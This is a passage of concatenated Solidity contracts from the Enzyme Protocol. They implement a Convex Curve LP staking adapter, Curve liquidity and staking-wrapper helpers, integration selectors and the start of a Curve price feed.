incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; import "../../../../infrastructure/price-feeds/derivatives/feeds/CurvePriceFeed.sol"; import "../../../../infrastructure/staking-wrappers/convex-curve-lp/ConvexCurveLpStakingWrapperFactory.sol"; import "../utils/actions/StakingWrapperActionsMixin.sol"; import "../utils/bases/CurveLiquidityAdapterBase.sol"; /// @title ConvexCurveLpStakingAdapter Contract /// @author Enzyme Council <[email protected]> /// @notice Adapter for staking Curve LP tokens via Convex, /// with optional combined end-to-end liquidity provision via Curve /// @dev Rewards tokens are not included as incoming assets for claimRewards() /// Rationale: /// - rewards tokens can be claimed to the vault outside of the IntegrationManager, so no need /// to enforce policy management or emit an event /// - rewards tokens can be outside of the asset universe, in which case they cannot be tracked contract ConvexCurveLpStakingAdapter is CurveLiquidityAdapterBase, StakingWrapperActionsMixin { ConvexCurveLpStakingWrapperFactory private immutable STAKING_WRAPPER_FACTORY_CONTRACT; CurvePriceFeed private immutable CURVE_PRICE_FEED_CONTRACT; constructor( address _integrationManager, address _curvePriceFeed, address _wrappedNativeAsset, address _stakingWrapperFactory, address _nativeAssetAddress ) public CurveLiquidityAdapterBase(_integrationManager, _wrappedNativeAsset, _nativeAssetAddress) { CURVE_PRICE_FEED_CONTRACT = CurvePriceFeed(_curvePriceFeed); STAKING_WRAPPER_FACTORY_CONTRACT = ConvexCurveLpStakingWrapperFactory( _stakingWrapperFactory ); } // EXTERNAL FUNCTIONS /// @notice Claims all rewards for a given staking token /// @param _vaultProxy The VaultProxy of the calling fund /// @param _actionData Data specific to this action function claimRewards( address _vaultProxy, bytes calldata _actionData, bytes calldata ) external onlyIntegrationManager { __stakingWrapperClaimRewardsFor(__decodeClaimRewardsCallArgs(_actionData), _vaultProxy); } /// @notice Lends assets for LP tokens, then stakes the received LP tokens /// @param _vaultProxy The VaultProxy of the calling fund /// @param _actionData Data specific to this action /// @param _assetData Parsed spend assets and incoming assets data for this action function lendAndStake( address _vaultProxy, bytes calldata _actionData, bytes calldata _assetData ) external onlyIntegrationManager { ( address pool, uint256[] memory orderedOutgoingAssetAmounts, address incomingStakingToken, uint256 minIncomingStakingTokenAmount, bool useUnderlyings ) = __decodeLendAndStakeCallArgs(_actionData); (address[] memory spendAssets, , ) = __decodeAssetData(_assetData); address lpToken = CURVE_PRICE_FEED_CONTRACT.getLpTokenForPool(pool); __curveAddLiquidity( pool, spendAssets, orderedOutgoingAssetAmounts, minIncomingStakingTokenAmount, useUnderlyings ); __stakingWrapperStake( incomingStakingToken, _vaultProxy, ERC20(lpToken).balanceOf(address(this)), lpToken ); } /// @notice Stakes LP tokens /// @param _vaultProxy The VaultProxy of the calling fund /// @param _actionData Data specific to this action /// @param _assetData Parsed spend assets and incoming assets data for this action function stake( address _vaultProxy, bytes calldata _actionData, bytes calldata _assetData ) external onlyIntegrationManager { (, address incomingStakingToken, uint256 amount) = __decodeStakeCallArgs(_actionData); (address[] memory spendAssets, , ) = __decodeAssetData(_assetData); __stakingWrapperStake(incomingStakingToken, _vaultProxy, amount, spendAssets[0]); } /// @notice Unstakes LP tokens /// @param _vaultProxy The VaultProxy of the calling fund /// @param _actionData Data specific to this action function unstake( address _vaultProxy, bytes calldata _actionData, bytes calldata ) external onlyIntegrationManager { (, address outgoingStakingToken, uint256 amount) = __decodeUnstakeCallArgs(_actionData); __stakingWrapperUnstake(outgoingStakingToken, _vaultProxy, _vaultProxy, amount, false); } /// @notice Unstakes LP tokens, then redeems them /// @param _vaultProxy The VaultProxy of the calling fund /// @param _actionData Data specific to this action /// @param _assetData Parsed spend assets and incoming assets data for this action function unstakeAndRedeem( address _vaultProxy, bytes calldata _actionData, bytes calldata _assetData ) external onlyIntegrationManager postActionIncomingAssetsTransferHandler(_vaultProxy, _assetData) { ( address pool, address outgoingStakingToken, uint256 outgoingStakingTokenAmount, bool useUnderlyings, RedeemType redeemType, bytes memory incomingAssetsData ) = __decodeUnstakeAndRedeemCallArgs(_actionData); __stakingWrapperUnstake( outgoingStakingToken, _vaultProxy, address(this), outgoingStakingTokenAmount, false ); __curveRedeem( pool, outgoingStakingTokenAmount, useUnderlyings, redeemType, incomingAssetsData ); } ///////////////////////////// // PARSE ASSETS FOR METHOD // ///////////////////////////// /// @notice Parses the expected assets in a particular action /// @param _selector The function selector for the callOnIntegration /// @param _actionData Data specific to this action /// @return spendAssetsHandleType_ A type that dictates how to handle granting /// the adapter access to spend assets (`None` by default) /// @return spendAssets_ The assets to spend in the call /// @return spendAssetAmounts_ The max asset amounts to spend in the call /// @return incomingAssets_ The assets to receive in the call /// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call function parseAssetsForAction( address, bytes4 _selector, bytes calldata _actionData ) external view override returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ) { if (_selector == CLAIM_REWARDS_SELECTOR) { return __parseAssetsForClaimRewards(); } else if (_selector == LEND_AND_STAKE_SELECTOR) { return __parseAssetsForLendAndStake(_actionData); } else if (_selector == STAKE_SELECTOR) { return __parseAssetsForStake(_actionData); } else if (_selector == UNSTAKE_SELECTOR) { return __parseAssetsForUnstake(_actionData); } else if (_selector == UNSTAKE_AND_REDEEM_SELECTOR) { return __parseAssetsForUnstakeAndRedeem(_actionData); } revert("parseAssetsForAction: _selector invalid"); } /// @dev Helper function to parse spend and incoming assets from encoded call args /// during claimRewards() calls. /// No action required, all values empty. function __parseAssetsForClaimRewards() private pure returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ) { return ( IIntegrationManager.SpendAssetsHandleType.None, new address[](0), new uint256[](0), new address[](0), new uint256[](0) ); } /// @dev Helper function to parse spend and incoming assets from encoded call args /// during lendAndStake() calls function __parseAssetsForLendAndStake(bytes calldata _actionData) private view returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ) { ( address pool, uint256[] memory orderedOutgoingAssetAmounts, address incomingStakingToken, uint256 minIncomingStakingTokenAmount, bool useUnderlyings ) = __decodeLendAndStakeCallArgs(_actionData); __validatePoolForWrapper(pool, incomingStakingToken); (spendAssets_, spendAssetAmounts_) = __parseSpendAssetsForLendingCalls( pool, orderedOutgoingAssetAmounts, useUnderlyings ); incomingAssets_ = new address[](1); incomingAssets_[0] = incomingStakingToken; minIncomingAssetAmounts_ = new uint256[](1); minIncomingAssetAmounts_[0] = minIncomingStakingTokenAmount; return ( IIntegrationManager.SpendAssetsHandleType.Transfer, spendAssets_, spendAssetAmounts_, incomingAssets_, minIncomingAssetAmounts_ ); } /// @dev Helper function to parse spend and incoming assets from encoded call args /// during stake() calls function __parseAssetsForStake(bytes calldata _actionData) private view returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ) { (, address incomingStakingToken, uint256 amount) = __decodeStakeCallArgs(_actionData); spendAssets_ = new address[](1); spendAssets_[0] = STAKING_WRAPPER_FACTORY_CONTRACT.getCurveLpTokenForWrapper( incomingStakingToken ); spendAssetAmounts_ = new uint256[](1); spendAssetAmounts_[0] = amount; incomingAssets_ = new address[](1); incomingAssets_[0] = incomingStakingToken; minIncomingAssetAmounts_ = new uint256[](1); minIncomingAssetAmounts_[0] = amount; return ( IIntegrationManager.SpendAssetsHandleType.Transfer, spendAssets_, spendAssetAmounts_, incomingAssets_, minIncomingAssetAmounts_ ); } /// @dev Helper function to parse spend and incoming assets from encoded call args /// during unstake() calls function __parseAssetsForUnstake(bytes calldata _actionData) private view returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ) { (, address outgoingStakingToken, uint256 amount) = __decodeUnstakeCallArgs(_actionData); spendAssets_ = new address[](1); spendAssets_[0] = outgoingStakingToken; spendAssetAmounts_ = new uint256[](1); spendAssetAmounts_[0] = amount; incomingAssets_ = new address[](1); incomingAssets_[0] = STAKING_WRAPPER_FACTORY_CONTRACT.getCurveLpTokenForWrapper( outgoingStakingToken ); minIncomingAssetAmounts_ = new uint256[](1); minIncomingAssetAmounts_[0] = amount; // SpendAssetsHandleType is `Approve`, since staking wrapper allows unstaking on behalf return ( IIntegrationManager.SpendAssetsHandleType.Approve, spendAssets_, spendAssetAmounts_, incomingAssets_, minIncomingAssetAmounts_ ); } /// @dev Helper function to parse spend and incoming assets from encoded call args /// during unstakeAndRedeem() calls function __parseAssetsForUnstakeAndRedeem(bytes calldata _actionData) private view returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_ ) { ( address pool, address outgoingStakingToken, uint256 outgoingStakingTokenAmount, bool useUnderlyings, RedeemType redeemType, bytes memory incomingAssetsData ) = __decodeUnstakeAndRedeemCallArgs(_actionData); __validatePoolForWrapper(pool, outgoingStakingToken); spendAssets_ = new address[](1); spendAssets_[0] = outgoingStakingToken; spendAssetAmounts_ = new uint256[](1); spendAssetAmounts_[0] = outgoingStakingTokenAmount; (incomingAssets_, minIncomingAssetAmounts_) = __parseIncomingAssetsForRedemptionCalls( pool, useUnderlyings, redeemType, incomingAssetsData ); // SpendAssetsHandleType is `Approve`, since staking wrapper allows unstaking on behalf return ( IIntegrationManager.SpendAssetsHandleType.Approve, spendAssets_, spendAssetAmounts_, incomingAssets_, minIncomingAssetAmounts_ ); } /// @dev Helper to validate a given Curve `pool` for a given convex staking wrapper function __validatePoolForWrapper(address _pool, address _wrapper) private view { address lpToken = STAKING_WRAPPER_FACTORY_CONTRACT.getCurveLpTokenForWrapper(_wrapper); require( lpToken == CURVE_PRICE_FEED_CONTRACT.getLpTokenForPool(_pool), "__validatePoolForWrapper: Invalid" ); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../../../utils/AssetHelpers.sol"; import "../IIntegrationAdapter.sol"; import "./IntegrationSelectors.sol"; /// @title AdapterBase Contract /// @author Enzyme Council <[email protected]> /// @notice A base contract for integration adapters abstract contract AdapterBase is IIntegrationAdapter, IntegrationSelectors, AssetHelpers { using SafeERC20 for ERC20; address internal immutable INTEGRATION_MANAGER; /// @dev Provides a standard implementation for transferring incoming assets /// from an adapter to a VaultProxy at the end of an adapter action modifier postActionIncomingAssetsTransferHandler( address _vaultProxy, bytes memory _assetData ) { _; (, , address[] memory incomingAssets) = __decodeAssetData(_assetData); __pushFullAssetBalances(_vaultProxy, incomingAssets); } /// @dev Provides a standard implementation for transferring unspent spend assets /// from an adapter to a VaultProxy at the end of an adapter action modifier postActionSpendAssetsTransferHandler(address _vaultProxy, bytes memory _assetData) { _; (address[] memory spendAssets, , ) = __decodeAssetData(_assetData); __pushFullAssetBalances(_vaultProxy, spendAssets); } modifier onlyIntegrationManager { require( msg.sender == INTEGRATION_MANAGER, "Only the IntegrationManager can call this function" ); _; } constructor(address _integrationManager) public { INTEGRATION_MANAGER = _integrationManager; } // INTERNAL FUNCTIONS /// @dev Helper to decode the _assetData param passed to adapter call function __decodeAssetData(bytes memory _assetData) internal pure returns ( address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory incomingAssets_ ) { return abi.decode(_assetData, (address[], uint256[], address[])); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `INTEGRATION_MANAGER` variable /// @return integrationManager_ The `INTEGRATION_MANAGER` variable value function getIntegrationManager() external view returns (address integrationManager_) { return INTEGRATION_MANAGER; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IntegrationSelectors Contract /// @author Enzyme Council <[email protected]> /// @notice Selectors for integration actions /// @dev Selectors are created from their signatures rather than hardcoded for easy verification abstract contract IntegrationSelectors { // Trading bytes4 public constant TAKE_ORDER_SELECTOR = bytes4( keccak256("takeOrder(address,bytes,bytes)") ); // Lending bytes4 public constant LEND_SELECTOR = bytes4(keccak256("lend(address,bytes,bytes)")); bytes4 public constant REDEEM_SELECTOR = bytes4(keccak256("redeem(address,bytes,bytes)")); // Staking bytes4 public constant STAKE_SELECTOR = bytes4(keccak256("stake(address,bytes,bytes)")); bytes4 public constant UNSTAKE_SELECTOR = bytes4(keccak256("unstake(address,bytes,bytes)")); // Rewards bytes4 public constant CLAIM_REWARDS_SELECTOR = bytes4( keccak256("claimRewards(address,bytes,bytes)") ); // Combined bytes4 public constant LEND_AND_STAKE_SELECTOR = bytes4( keccak256("lendAndStake(address,bytes,bytes)") ); bytes4 public constant UNSTAKE_AND_REDEEM_SELECTOR = bytes4( keccak256("unstakeAndRedeem(address,bytes,bytes)") ); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/utils/Strings.sol"; import "../../../../../interfaces/IWETH.sol"; import "../../../../../utils/AssetHelpers.sol"; /// @title CurveLiquidityActionsMixin Contract /// @author Enzyme Council <[email protected]> /// @notice Mixin contract for interacting with the Curve pool liquidity functions /// @dev Inheriting contract must have a receive() function if lending or redeeming for the native asset abstract contract CurveLiquidityActionsMixin is AssetHelpers { using Strings for uint256; uint256 private constant ASSET_APPROVAL_TOP_UP_THRESHOLD = 1e76; // Arbitrary, slightly less than 1/11 of max uint256 bytes4 private constant CURVE_REMOVE_LIQUIDITY_ONE_COIN_SELECTOR = 0x1a4d01d2; bytes4 private constant CURVE_REMOVE_LIQUIDITY_ONE_COIN_USE_UNDERLYINGS_SELECTOR = 0x517a55a3; address private immutable CURVE_LIQUIDITY_WRAPPED_NATIVE_ASSET; constructor(address _wrappedNativeAsset) public { CURVE_LIQUIDITY_WRAPPED_NATIVE_ASSET = _wrappedNativeAsset; } /// @dev Helper to add liquidity to the pool. /// _squashedOutgoingAssets are only those pool assets that are actually used to add liquidity, /// which can be verbose and ordered, but it is more gas-efficient to only include non-0 amounts. function __curveAddLiquidity( address _pool, address[] memory _squashedOutgoingAssets, uint256[] memory _orderedOutgoingAssetAmounts, uint256 _minIncomingLpTokenAmount, bool _useUnderlyings ) internal { // Approve and/or unwrap native asset as necessary. // Rather than using exact amounts for approvals, // this tops up to max approval if 1/2 max is reached. uint256 outgoingNativeAssetAmount; for (uint256 i; i < _squashedOutgoingAssets.length; i++) { if (_squashedOutgoingAssets[i] == getCurveLiquidityWrappedNativeAsset()) { // It is never the case that a pool has multiple slots for the same native asset, // so this is not additive outgoingNativeAssetAmount = ERC20(getCurveLiquidityWrappedNativeAsset()).balanceOf( address(this) ); IWETH(getCurveLiquidityWrappedNativeAsset()).withdraw(outgoingNativeAssetAmount); } else { // Once an asset it approved for a given pool, it will almost definitely // never need approval again, but it is topped up to max once an arbitrary // threshold is reached __approveAssetMaxAsNeeded( _squashedOutgoingAssets[i], _pool, ASSET_APPROVAL_TOP_UP_THRESHOLD ); } } // Dynamically call the appropriate selector (bool success, bytes memory returnData) = _pool.call{value: outgoingNativeAssetAmount}( __curveAddLiquidityEncodeCalldata( _orderedOutgoingAssetAmounts, _minIncomingLpTokenAmount, _useUnderlyings ) ); require(success, string(returnData)); } /// @dev Helper to remove liquidity from the pool. /// if using _redeemSingleAsset, must pre-validate that one - and only one - asset /// has a non-zero _orderedMinIncomingAssetAmounts value. function __curveRemoveLiquidity( address _pool, uint256 _outgoingLpTokenAmount, uint256[] memory _orderedMinIncomingAssetAmounts, bool _useUnderlyings ) internal { // Dynamically call the appropriate selector (bool success, bytes memory returnData) = _pool.call( __curveRemoveLiquidityEncodeCalldata( _outgoingLpTokenAmount, _orderedMinIncomingAssetAmounts, _useUnderlyings ) ); require(success, string(returnData)); // Wrap native asset __curveLiquidityWrapNativeAssetBalance(); } /// @dev Helper to remove liquidity from the pool and receive all value owed in one specified token function __curveRemoveLiquidityOneCoin( address _pool, uint256 _outgoingLpTokenAmount, int128 _incomingAssetPoolIndex, uint256 _minIncomingAssetAmount, bool _useUnderlyings ) internal { bytes memory callData; if (_useUnderlyings) { callData = abi.encodeWithSelector( CURVE_REMOVE_LIQUIDITY_ONE_COIN_USE_UNDERLYINGS_SELECTOR, _outgoingLpTokenAmount, _incomingAssetPoolIndex, _minIncomingAssetAmount, true ); } else { callData = abi.encodeWithSelector( CURVE_REMOVE_LIQUIDITY_ONE_COIN_SELECTOR, _outgoingLpTokenAmount, _incomingAssetPoolIndex, _minIncomingAssetAmount ); } // Dynamically call the appropriate selector (bool success, bytes memory returnData) = _pool.call(callData); require(success, string(returnData)); // Wrap native asset __curveLiquidityWrapNativeAssetBalance(); } // PRIVATE FUNCTIONS /// @dev Helper to encode calldata for a call to add liquidity on Curve function __curveAddLiquidityEncodeCalldata( uint256[] memory _orderedOutgoingAssetAmounts, uint256 _minIncomingLpTokenAmount, bool _useUnderlyings ) private pure returns (bytes memory callData_) { bytes memory finalEncodedArgOrEmpty; if (_useUnderlyings) { finalEncodedArgOrEmpty = abi.encode(true); } return abi.encodePacked( __curveAddLiquidityEncodeSelector( _orderedOutgoingAssetAmounts.length, _useUnderlyings ), abi.encodePacked(_orderedOutgoingAssetAmounts), _minIncomingLpTokenAmount, finalEncodedArgOrEmpty ); } /// @dev Helper to encode selector for a call to add liquidity on Curve function __curveAddLiquidityEncodeSelector(uint256 _numberOfCoins, bool _useUnderlyings) private pure returns (bytes4 selector_) { string memory finalArgOrEmpty; if (_useUnderlyings) { finalArgOrEmpty = ",bool"; } return bytes4( keccak256( abi.encodePacked( "add_liquidity(uint256[", _numberOfCoins.toString(), "],", "uint256", finalArgOrEmpty, ")" ) ) ); } /// @dev Helper to wrap the full native asset balance of the current contract function __curveLiquidityWrapNativeAssetBalance() private { uint256 nativeAssetBalance = payable(address(this)).balance; if (nativeAssetBalance > 0) { IWETH(payable(getCurveLiquidityWrappedNativeAsset())).deposit{ value: nativeAssetBalance }(); } } /// @dev Helper to encode calldata for a call to remove liquidity from Curve function __curveRemoveLiquidityEncodeCalldata( uint256 _outgoingLpTokenAmount, uint256[] memory _orderedMinIncomingAssetAmounts, bool _useUnderlyings ) private pure returns (bytes memory callData_) { bytes memory finalEncodedArgOrEmpty; if (_useUnderlyings) { finalEncodedArgOrEmpty = abi.encode(true); } return abi.encodePacked( __curveRemoveLiquidityEncodeSelector( _orderedMinIncomingAssetAmounts.length, _useUnderlyings ), _outgoingLpTokenAmount, abi.encodePacked(_orderedMinIncomingAssetAmounts), finalEncodedArgOrEmpty ); } /// @dev Helper to encode selector for a call to remove liquidity on Curve function __curveRemoveLiquidityEncodeSelector(uint256 _numberOfCoins, bool _useUnderlyings) private pure returns (bytes4 selector_) { string memory finalArgOrEmpty; if (_useUnderlyings) { finalArgOrEmpty = ",bool"; } return bytes4( keccak256( abi.encodePacked( "remove_liquidity(uint256,", "uint256[", _numberOfCoins.toString(), "]", finalArgOrEmpty, ")" ) ) ); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `CURVE_LIQUIDITY_WRAPPED_NATIVE_ASSET` variable /// @return addressProvider_ The `CURVE_LIQUIDITY_WRAPPED_NATIVE_ASSET` variable value function getCurveLiquidityWrappedNativeAsset() public view returns (address addressProvider_) { return CURVE_LIQUIDITY_WRAPPED_NATIVE_ASSET; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../../infrastructure/staking-wrappers/IStakingWrapper.sol"; import "../../../../../utils/AssetHelpers.sol"; /// @title StakingWrapperActionsMixin Contract /// @author Enzyme Council <[email protected]> /// @notice Mixin contract for interacting with IStakingWrapper implementations abstract contract StakingWrapperActionsMixin is AssetHelpers { /// @dev Helper to claim rewards via a IStakingWrapper implementation function __stakingWrapperClaimRewardsFor(address _wrapper, address _for) internal { IStakingWrapper(_wrapper).claimRewardsFor(_for); } /// @dev Helper to stake via a IStakingWrapper implementation function __stakingWrapperStake( address _wrapper, address _to, uint256 _amount, address _outgoingAsset ) internal { __approveAssetMaxAsNeeded(_outgoingAsset, _wrapper, _amount); IStakingWrapper(_wrapper).depositTo(_to, _amount); } /// @dev Helper to unstake via a IStakingWrapper implementation function __stakingWrapperUnstake( address _wrapper, address _from, address _to, uint256 _amount, bool _claimRewards ) internal { IStakingWrapper(_wrapper).withdrawToOnBehalf(_from, _to, _amount, _claimRewards); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; import "../../../../../interfaces/ICurveLiquidityPool.sol"; import "../actions/CurveLiquidityActionsMixin.sol"; import "../AdapterBase.sol"; /// @title CurveLiquidityAdapterBase Contract /// @author Enzyme Council <[email protected]> /// @notice Base adapter for liquidity provision in Curve pools that adhere to pool templates, /// as well as some old pools that have almost the same required interface (e.g., 3pool). /// Implementing contracts can allow staking via Curve gauges, Convex, etc. abstract contract CurveLiquidityAdapterBase is AdapterBase, CurveLiquidityActionsMixin { enum RedeemType {Standard, OneCoin} address private immutable CURVE_LIQUIDITY_NATIVE_ASSET_ADDRESS; constructor( address _integrationManager, address _wrappedNativeAsset, address _nativeAssetAddress ) public AdapterBase(_integrationManager) CurveLiquidityActionsMixin(_wrappedNativeAsset) { CURVE_LIQUIDITY_NATIVE_ASSET_ADDRESS = _nativeAssetAddress; } /// @dev Needed to unwrap and receive the native asset receive() external payable {} // INTERNAL FUNCTIONS /// @dev Helper to return the wrappedNativeAsset if the input is the native asset function __castWrappedIfNativeAsset(address _tokenOrNativeAsset) internal view returns (address token_) { if (_tokenOrNativeAsset == CURVE_LIQUIDITY_NATIVE_ASSET_ADDRESS) { return getCurveLiquidityWrappedNativeAsset(); } return _tokenOrNativeAsset; } /// @dev Helper to correctly call the relevant redeem function based on RedeemType function __curveRedeem( address _pool, uint256 _outgoingLpTokenAmount, bool _useUnderlyings, RedeemType _redeemType, bytes memory _incomingAssetsData ) internal { if (_redeemType == RedeemType.OneCoin) { ( uint256 incomingAssetPoolIndex, uint256 minIncomingAssetAmount ) = __decodeIncomingAssetsDataRedeemOneCoin(_incomingAssetsData); __curveRemoveLiquidityOneCoin( _pool, _outgoingLpTokenAmount, int128(incomingAssetPoolIndex), minIncomingAssetAmount, _useUnderlyings ); } else { __curveRemoveLiquidity( _pool, _outgoingLpTokenAmount, __decodeIncomingAssetsDataRedeemStandard(_incomingAssetsData), _useUnderlyings ); } } /// @dev Helper function to parse spend assets for redeem() and unstakeAndRedeem() calls function __parseIncomingAssetsForRedemptionCalls( address _pool, bool _useUnderlyings, RedeemType _redeemType, bytes memory _incomingAssetsData ) internal view returns (address[] memory incomingAssets_, uint256[] memory minIncomingAssetAmounts_) { if (_redeemType == RedeemType.OneCoin) { ( uint256 incomingAssetPoolIndex, uint256 minIncomingAssetAmount ) = __decodeIncomingAssetsDataRedeemOneCoin(_incomingAssetsData); // No need to validate incomingAssetPoolIndex, // as an out-of-bounds index will fail in the call to Curve incomingAssets_ = new address[](1); incomingAssets_[0] = __getPoolAsset(_pool, incomingAssetPoolIndex, _useUnderlyings); minIncomingAssetAmounts_ = new uint256[](1); minIncomingAssetAmounts_[0] = minIncomingAssetAmount; } else { minIncomingAssetAmounts_ = __decodeIncomingAssetsDataRedeemStandard( _incomingAssetsData ); // No need to validate minIncomingAssetAmounts_.length, // as an incorrect length will fail with the wrong n_tokens in the call to Curve incomingAssets_ = new address[](minIncomingAssetAmounts_.length); for (uint256 i; i < incomingAssets_.length; i++) { incomingAssets_[i] = __getPoolAsset(_pool, i, _useUnderlyings); } } return (incomingAssets_, minIncomingAssetAmounts_); } /// @dev Helper function to parse spend assets for lend() and lendAndStake() calls function __parseSpendAssetsForLendingCalls( address _pool, uint256[] memory _orderedOutgoingAssetAmounts, bool _useUnderlyings ) internal view returns (address[] memory spendAssets_, uint256[] memory spendAssetAmounts_) { uint256 spendAssetsCount; for (uint256 i; i < _orderedOutgoingAssetAmounts.length; i++) { if (_orderedOutgoingAssetAmounts[i] > 0) { spendAssetsCount++; } } spendAssets_ = new address[](spendAssetsCount); spendAssetAmounts_ = new uint256[](spendAssetsCount); uint256 spendAssetsIndex; for (uint256 i; i < _orderedOutgoingAssetAmounts.length; i++) { if (_orderedOutgoingAssetAmounts[i] > 0) { spendAssets_[spendAssetsIndex] = __getPoolAsset(_pool, i, _useUnderlyings); spendAssetAmounts_[spendAssetsIndex] = _orderedOutgoingAssetAmounts[i]; spendAssetsIndex++; if (spendAssetsIndex == spendAssetsCount) { break; } } } return (spendAssets_, spendAssetAmounts_); } /// @dev Helper to get a pool asset at a given index function __getPoolAsset( address _pool, uint256 _index, bool _useUnderlying ) internal view returns (address asset_) { if (_useUnderlying) { try ICurveLiquidityPool(_pool).underlying_coins(_index) returns ( address underlyingCoin ) { asset_ = underlyingCoin; } catch { asset_ = ICurveLiquidityPool(_pool).underlying_coins(int128(_index)); } } else { try ICurveLiquidityPool(_pool).coins(_index) returns (address coin) { asset_ = coin; } catch { asset_ = ICurveLiquidityPool(_pool).coins(int128(_index)); } } return __castWrappedIfNativeAsset(asset_); } /////////////////////// // ENCODED CALL ARGS // /////////////////////// // Some of these decodings are not relevant to inheriting contracts, // and some parameters will be ignored, but this keeps the payloads // consistent for all inheriting adapters. /// @dev Helper to decode the encoded call arguments for claiming rewards function __decodeClaimRewardsCallArgs(bytes memory _actionData) internal pure returns (address stakingToken_) { return abi.decode(_actionData, (address)); } /// @dev Helper to decode the encoded call arguments for lending and then staking function __decodeLendAndStakeCallArgs(bytes memory _actionData) internal pure returns ( address pool_, uint256[] memory orderedOutgoingAssetAmounts_, address incomingStakingToken_, uint256 minIncomingStakingTokenAmount_, bool useUnderlyings_ ) { return abi.decode(_actionData, (address, uint256[], address, uint256, bool)); } /// @dev Helper to decode the encoded call arguments for lending function __decodeLendCallArgs(bytes memory _actionData) internal pure returns ( address pool_, uint256[] memory orderedOutgoingAssetAmounts_, uint256 minIncomingLpTokenAmount_, bool useUnderlyings_ ) { return abi.decode(_actionData, (address, uint256[], uint256, bool)); } /// @dev Helper to decode the encoded call arguments for redeeming function __decodeRedeemCallArgs(bytes memory _actionData) internal pure returns ( address pool_, uint256 outgoingLpTokenAmount_, bool useUnderlyings_, RedeemType redeemType_, bytes memory incomingAssetsData_ ) { return abi.decode(_actionData, (address, uint256, bool, RedeemType, bytes)); } /// @dev Helper to decode the encoded incoming assets arguments for RedeemType.OneCoin function __decodeIncomingAssetsDataRedeemOneCoin(bytes memory _incomingAssetsData) internal pure returns (uint256 incomingAssetPoolIndex_, uint256 minIncomingAssetAmount_) { return abi.decode(_incomingAssetsData, (uint256, uint256)); } /// @dev Helper to decode the encoded incoming assets arguments for RedeemType.Standard function __decodeIncomingAssetsDataRedeemStandard(bytes memory _incomingAssetsData) internal pure returns (uint256[] memory orderedMinIncomingAssetAmounts_) { return abi.decode(_incomingAssetsData, (uint256[])); } /// @dev Helper to decode the encoded call arguments for staking function __decodeStakeCallArgs(bytes memory _actionData) internal pure returns ( address pool_, address incomingStakingToken_, uint256 amount_ ) { return abi.decode(_actionData, (address, address, uint256)); } /// @dev Helper to decode the encoded call arguments for unstaking and then redeeming function __decodeUnstakeAndRedeemCallArgs(bytes memory _actionData) internal pure returns ( address pool_, address outgoingStakingToken_, uint256 outgoingStakingTokenAmount_, bool useUnderlyings_, RedeemType redeemType_, bytes memory incomingAssetsData_ ) { return abi.decode(_actionData, (address, address, uint256, bool, RedeemType, bytes)); } /// @dev Helper to decode the encoded call arguments for unstaking function __decodeUnstakeCallArgs(bytes memory _actionData) internal pure returns ( address pool_, address outgoingStakingToken_, uint256 amount_ ) { return abi.decode(_actionData, (address, address, uint256)); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IDerivativePriceFeed Interface /// @author Enzyme Council <[email protected]> /// @notice Simple interface for derivative price source oracle implementations interface IDerivativePriceFeed { function calcUnderlyingValues(address, uint256) external returns (address[] memory, uint256[] memory); function isSupportedAsset(address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "../../../../interfaces/ICurveAddressProvider.sol"; import "../../../../interfaces/ICurveLiquidityPool.sol"; import "../../../../interfaces/ICurvePoolOwner.sol"; import "../../../../interfaces/ICurveRegistryMain.sol"; import "../../../../interfaces/ICurveRegistryMetapoolFactory.sol"; import "../../../../utils/FundDeployerOwnerMixin.sol"; import "../IDerivativePriceFeed.sol"; /// @title CurvePriceFeed Contract /// @author Enzyme Council <[email 